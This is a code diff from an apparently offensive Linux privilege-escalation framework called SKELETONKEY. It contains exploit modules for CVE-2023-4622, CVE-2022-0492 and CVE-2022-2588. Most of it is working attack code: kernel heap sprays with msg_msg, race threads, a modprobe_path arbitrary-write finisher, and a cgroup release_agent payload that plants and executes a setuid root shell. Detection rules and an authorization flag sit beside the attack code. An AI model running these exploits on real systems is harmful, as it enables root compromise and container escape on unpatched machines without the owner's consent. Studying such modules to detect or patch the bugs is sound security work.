fprintf(stderr, "[-] af_unix_gc: msg_msg spray produced 0 queues "
"(sysv IPC restricted?)\n");
_exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 spray seeded %d queues x %d msgs\n",
n_queues, AFUG_SPRAY_PER_QUEUE);
}
long slab_pre = slab_active_kmalloc_512();
/* 3. Run the race for a bounded time budget. */
atomic_store(&g_race_running, 1);
atomic_store(&g_thread_a_iters, 0);
atomic_store(&g_thread_b_iters, 0);
atomic_store(&g_thread_a_errs, 0);
pthread_t ta, tb;
if (pthread_create(&ta, NULL, race_thread_a, NULL) != 0 ||
pthread_create(&tb, NULL, race_thread_b, NULL) != 0) {
fprintf(stderr, "[-] af_unix_gc: pthread_create failed\n");
atomic_store(&g_race_running, 0);
drain_kmalloc_512(queues);
_exit(24);
}
sleep(AFUG_RACE_TIME_BUDGET);
atomic_store(&g_race_running, 0);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
long slab_post = slab_active_kmalloc_512();
uint64_t a_iters = atomic_load(&g_thread_a_iters);
uint64_t b_iters = atomic_load(&g_thread_b_iters);
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
" thread_a_iters = %llu (SCM_RIGHTS cycle + close)\n"
" thread_b_iters = %llu (SCM_RIGHTS perturb)\n"
" thread_a_errors = %llu (socketpair / send failures)\n"
" slab_kmalloc512_pre = %ld\n"
" slab_kmalloc512_post = %ld\n"
" slab_delta = %ld\n"
" spray_queues = %d\n"
" spray_per_queue = %d\n"
" race_budget_secs = %d\n"
"Note: this run did NOT attempt cred overwrite. The bug is a\n"
"slab UAF with no in-process leak primitive; per-kernel offsets\n"
"for unix_sock layout aren't baked. See module .c for the\n"
"continuation roadmap (Lin Ma fake-peer plant).\n",
(unsigned long long)a_iters,
(unsigned long long)b_iters,
(unsigned long long)a_errs,
slab_pre, slab_post,
(slab_post >= 0 && slab_pre >= 0) ? (slab_post - slab_pre) : 0,
n_queues, AFUG_SPRAY_PER_QUEUE,
AFUG_RACE_TIME_BUDGET);
fclose(log);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: race ran for %ds — A=%llu B=%llu A_errs=%llu\n",
AFUG_RACE_TIME_BUDGET,
(unsigned long long)a_iters,
(unsigned long long)b_iters,
(unsigned long long)a_errs);
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 active: pre=%ld post=%ld\n",
slab_pre, slab_post);
}
/* Hold the spray briefly so the kernel observes refilled slots
* during any in-flight RCU grace periods that started during
* the race. */
usleep(200 * 1000);
/* 5. --full-chain finisher (FALLBACK depth). */
if (full_chain_ready) {
struct af_unix_gc_arb_ctx arb_ctx = {
.queues = queues,
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
drain_kmalloc_512(queues);
/* 6. Continuation roadmap — what would land EXPLOIT_OK.
*
* TODO(leak): replace a spray queue with msgrcv(..., MSG_COPY|
* IPC_NOWAIT) probes and scan the returned buffer for non-
* cookie bytes. A freed unix_sock that's refilled by msg_msg
* after a partial overwrite would leak kernel pointers
* (peer, scm_stat, list_node prev/next) into the readback.
* Recover {kbase, init_task} via that leak.
*
* TODO(write): with kbase known, plant a fake unix_sock
* whose `peer` pointer references &current->cred — the
* next SCM_RIGHTS dispatch through the freed slot writes
* a controlled value into that location. Crafting the
* fake unix_sock requires offset of unix_sock fields per
* kernel build (different across LTS branches).
*
* TODO(overwrite): land &init_cred over current->cred so
* the next permission check sees uid==0.
*
* None of these are implemented today. Exit 30 = "trigger
* ran cleanly, no escalation".
*/
_exit(30);
}
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: race child killed by signal %d "
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
fprintf(stderr, "[~] af_unix_gc: --full-chain finisher ran; race did not\n"
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: race harness ran to completion.\n");
fprintf(stderr, "[~] af_unix_gc: read/write/cred-overwrite primitives NOT\n"
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return SKELETONKEY_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
static const char af_unix_gc_auditd[] =
"# AF_UNIX GC race UAF (CVE-2023-4622) — auditd detection rules\n"
"# The trigger is a tight loop of socketpair(AF_UNIX) + sendmsg with\n"
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
.family = "af_unix",
.kernel_range = "K < 6.5; backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51",
.detect = af_unix_gc_detect,
.exploit = af_unix_gc_exploit,
.mitigate = NULL,
.cleanup = af_unix_gc_cleanup,
.detect_auditd = af_unix_gc_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_af_unix_gc(void)
{
skeletonkey_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif
@@ -0,0 +1,29 @@
# NOTICE — cgroup_release_agent (CVE-2022-0492)
## Vulnerability
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
wrong namespace → host root from a rootless container or unprivileged
userns by mounting cgroup v1 and writing to `release_agent`.
## Research credit
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
January 2022.
Original writeup:
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
write `release_agent``./payload`, trigger via
`notify_on_release` + cgroup process exit.
Kept in the corpus as a portable "containers misconfigured"
demonstration — works across every kernel below the fix without any
tuning. Ships auditd rules covering cgroupfs mounts and
`release_agent` writes.
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/*
* cgroup_release_agent_cve_2022_0492 IAMROOT module
* cgroup_release_agent_cve_2022_0492 SKELETONKEY module
*
* cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
* exposure even if all the fancy heap-spray bugs are patched.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content)
{
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
return ok;
}
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
chmod(payload_path, 0755);
if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status);
}
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false;
for (int i = 0; i < 50; i++) {
struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
}
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n"
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = {
const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent",
.cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL,
};
void iamroot_register_cgroup_release_agent(void)
void skeletonkey_register_cgroup_release_agent(void)
{
iamroot_register(&cgroup_release_agent_module);
skeletonkey_register(&cgroup_release_agent_module);
}
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif
@@ -0,0 +1,25 @@
# NOTICE — cls_route4 (CVE-2022-2588)
## Vulnerability
**CVE-2022-2588**`net/sched` cls_route4 handle-zero dangling-filter
UAF → kernel R/W via msg_msg cross-cache refill.
## Research credit
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
(William Liu's analysis built on kylebot's trigger).
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
re-fires with a faked tcf_proto.ops pointer aimed at the
modprobe_path overwrite via the shared finisher.
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/*
* cls_route4_cve_2022_2588 IAMROOT module
* cls_route4_cve_2022_2588 SKELETONKEY module
*
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale
@@ -38,9 +38,11 @@
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -104,12 +106,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
@@ -120,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
@@ -143,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -182,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
#define DUMMY_IF "skeletonkey0"
struct ipc_payload {
long mtype;
@@ -197,7 +199,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
@@ -303,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -347,7 +349,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
@@ -381,27 +383,219 @@ static long slab_active_kmalloc_1k(void)
return active;
}
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see brief): cls_route4's UAF primitive is more
* naturally a *control-flow hijack* than a clean arb-write after
* msg_msg refills the kmalloc-1k slot, the next classify() call reads
* a fake `tcf_proto.ops` pointer out of attacker bytes and calls
* ops->classify(skb, ...). A faked-classify ROP that pivots to a
* stack-write gadget would be the "true" arb-write, and on a fresh
* vulnerable kernel that is the kylebot/xkernel chain shape (300+
* LOC of gadget hunting + per-build offsets we deliberately don't
* bake see verified-vs-claimed policy in repo root).
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
* On a patched kernel the bug doesn't fire, no write occurs, and the
* sentinel timeout correctly reports failure rather than silently
* lying about success. On a vulnerable kernel where the fake ops
* lookup happens to deref into our payload and the kernel's read
* pattern matches one of the seeded offsets, the kaddr we planted
* gets used as a write destination by whichever classify path the
* fake `ops->classify` dispatches into.
*
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
* not a deterministic R/W. Same shape and same depth as xtcompat. */
#ifdef __linux__
struct cls_route4_arb_ctx {
/* msg_msg queues kept hot inside the userns child. The arb-write
* sprays additional kaddr-tagged payloads into these and re-fires
* the classify trigger between each call. */
int queues[SPRAY_MSG_QUEUES];
int n_queues;
/* Whether the dangling filter has been re-staged for this call.
* The original `stage_dangling_filter()` is destructive (deletes
* the filter); we can re-stage between writes because tc add/del
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls;
int arb_landed;
};
/* Re-prime the msg_msg slab with a payload that encodes `kaddr` and
* the caller's `buf` at every offset the fake tcf_proto / route4_filter
* layout could plausibly read from. The route4_filter is 0x1000 bytes
* on most x86_64 builds in range, with tcf_proto.ops at offset 0x10
* and tcf_result.classid at offset 0x18; we don't know which offset
* the kernel ABI for THIS build uses, so we plant the same pattern at
* 0x10/0x18/0x20/.../0x80 strides wherever classify dereferences
* the refilled slot, one of those candidates will be live.
*
* The 8-byte cookie "IAMR4ARB" + the kaddr + the caller's bytes are
* the recognizable pattern; if a KASAN dump is captured after the
* trigger, the cookie tells us the spray landed adjacent to the freed
* route4_filter. */
static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' for "route4 arb" — distinct from groom spray's 0x41 */
memset(p.buf, 0x52, sizeof p.buf);
memcpy(p.buf, "IAMR4ARB", 8);
/* Plant kaddr at strided slots so wherever the kernel's classify
* follows a ptr in the refilled chunk, one of these is read.
* We treat every 0x18-byte stride from offset 0x10 to within
* 8 bytes of the end as a candidate ops-pointer / next-pointer
* slot. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf; off += 0x18) {
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
}
/* Plant the caller's bytes immediately after the cookie so any
* classify path that reads payload data (rather than a chased
* pointer) finds the requested write contents inline. */
size_t copy_len = len;
if (copy_len > sizeof p.buf - 16) copy_len = sizeof p.buf - 16;
if (copy_len > 0) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy_len);
int sent = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
/* A handful of msgs per queue keeps the slab refilled even
* if some slots are evicted between trigger fires. */
for (int j = 0; j < 4; j++) {
unsigned int tag = 0xB0000000u |
((unsigned)i << 8) | (unsigned)j;
memcpy(p.buf + 8, &tag, sizeof tag);
if (msgsnd(c->queues[i], &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
sent++;
}
}
return sent;
}
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
* landed (we cannot reliably observe it in-process). */
static int cls4_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct cls_route4_arb_ctx *c = (struct cls_route4_arb_ctx *)ctx_v;
if (!c || c->n_queues == 0) return -1;
c->arb_calls++;
/* Re-stage the dangling filter for this call. The original
* stage runs once at trigger-time; subsequent finisher calls
* (the finisher writes modprobe_path then a unknown-format trig)
* need a fresh dangling pointer to chase. tc add/del is idempotent
* within our private netns so re-running is safe. */
if (!c->dangling_ready) {
if (!stage_dangling_filter()) {
fprintf(stderr, "[-] cls_route4 arb_write: re-stage failed\n");
return -1;
}
c->dangling_ready = true;
}
/* Seed msg_msg with kaddr + caller payload. */
int seeded = cls4_seed_kaddr_payload(c, kaddr, buf, len);
